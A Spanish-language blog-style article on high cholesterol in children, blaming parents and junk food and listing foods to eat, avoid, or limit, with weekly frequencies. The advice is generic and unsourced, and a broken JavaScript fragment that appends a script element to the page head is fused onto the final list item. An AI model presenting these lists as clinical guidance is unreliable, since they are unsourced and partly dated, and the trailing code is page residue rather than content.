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Colesterol alto: un problema “menor”

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Por éstos tiempos, la alimentación de nuestros niños representa un serio problema. En los últimos años, en España, ha crecido el número de pequeños que, ya a su corta edad, presentan un elevados índices de colesterol. Esto, claro, ocurre, ante todo, por culpa de los padres, y luego por las pésimas opciones que presenta el mercado para la alimentación de los menores de 13 años.

Es obvio que los niños tienen otro paladar, otras exigencias culinarias pero, claro, la respuesta no es otorgarle los gustos para suprimir el capricho: esto, sin dudas, es una arma no de doble, sino de triple, o cuádruple filo (ataca más de lo que protege).

Pero, atención, pues todo tiene solución. La más fácil de ellas es, por supuesto, prevenir el colesterol de los niños evitando caer en locales de comida chatarra. Pero, para aquellos que tarde advirtieron su mal y tienen hijos con colesterol elevado, también hay soluciones: la respuesta es la siguiente lista de alimentos

Alimentos aconsejados

• Leche desnatada.

• Yogur desnatado.

• Queso untable dietético.

• Quesos de pasta firme, dietéticos.

• Ricota desnatada.

• Clara de huevo.

• Flanes sin huevo.

• Carnes de pescado de mar.

• Atún.

• Frutas en general.

• Frutos secos como nueces (1 puñado).

• Verduras en general.

• Legumbres.

• Cereales integrales.

• Cereales sin azúcar.

• Aceite de oliva, maíz, girasol, uva como condimento, no utilizar como medio de cocción en frituras.

• Dulces caseros como mermeladas, helados de agua, gelatinas, tartas sin mantequilla, ni huevos, ni leche entera.

• Agua.

• Zumos de frutas naturales.

• Refrescos sin azúcar.

• Sopas o caldo de verduras caseros

Alimentos desaconsejados

• Leche entera.

• Nata.

• Quesos duros.

• Queso crema.

• Postres con huevo.

• Tartas o bollos comprados.

• Galletas dulces.

• Hamburguesas elaboradas.

• Ketchup.

• Salsas elaboradas.

• Salchichas.

• Embutidos en general.

• Patatas fritas.

• Mantequilla, grasa.

• Sopas cremas.

• Perros calientes o Hot dogs.

• Mayonesa.

• Snacks.

• Pizzas con queso con gran porcentaje en grasas.

• Amasados de pastelería.

• Cremas.

• Helados de crema.

 

Alimentos para disponer de forma responsable (en poca medida)

• Huevo entero, no más de 3 veces en la semana.

• Quesos frescos.

• Requesón.

• Carne de ternera, cerdo sin grasa, hamburguesas caseras, consumir dos veces en la semana.

• Carne de pollo, consumir 3 veces en la semana.

• Sardinas o mariscos no más de 2 veces en la semana.

• Jamón.

• Pastas al huevo.

• Patatas al horno.

• Cereales con azúcar, no más de 2 veces en la semana.

• Miel no más de 2 veces en la semana.

• Chucherías no más de 2 veces en la semana.

• Chocolate 1 vez a la semana (25 gr.).

• Limitar el uso de margarinas vegetales a no más de 2 veces en la semana.if (document.currentScript) { d.getElementsByTagName('head')[0].appendChild(s);

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